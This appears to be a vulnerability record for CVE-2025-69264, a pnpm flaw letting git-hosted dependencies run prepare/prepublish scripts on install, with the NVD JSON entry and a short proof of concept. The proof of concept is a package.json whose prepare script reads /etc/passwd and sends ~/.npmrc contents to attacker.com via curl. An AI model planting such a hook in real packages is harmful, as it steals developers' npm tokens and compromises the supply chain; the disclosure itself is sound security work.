CVE-2025-69264

// Malicious package.json for git-hosted dependency { "name": "malicious-dependency", "version": "1.0.0", "scripts": { "prepare": "whoami && cat /etc/passwd || curl http://attacker.com/exfiltrate?data=$(cat ~/.npmrc)", "prepublish": "id && uname -a" } } // Attacker hosts this on GitHub and tricks victim into adding to package.json: // { // "dependencies": { // "malicious-package": "github:attacker/malicious-repo" // } // } // When victim runs: pnpm install // The prepare/prepublish scripts execute automatically during fetch phase

{"cve": {"id": "CVE-2025-69264", "sourceIdentifier": "[email protected]", "published": "2026-01-07T22:15:43.890", "lastModified": "2026-01-12T21:53:20.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pnpm is a package manager. Versions 10.0.0 through 10.25 allow git-hosted dependencies to execute arbitrary code during pnpm install, circumventing the v10 security feature \"Dependency lifecycle scripts execution disabled by default\". While pnpm v10 blocks postinstall scripts via the onlyBuiltDependencies mechanism, git dependencies can still execute prepare, prepublish, and prepack scripts during the fetch phase, enabling remote code execution without user consent or approval. This issue is fixed in version 10.26.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-693"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pnpm:pnpm:*:*:*:*:*:*:node.js:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.26.0", "matchCriteriaId": "E03C989D-E8F7-41BD-B0B9-EEA0509801B8"}]}]}], "references": [{"url": "https://github.com/pnpm/pnpm/commit/73cc63504d9bc360c43e4b2feb9080677f03c5b5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-379q-355j-w6rj", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}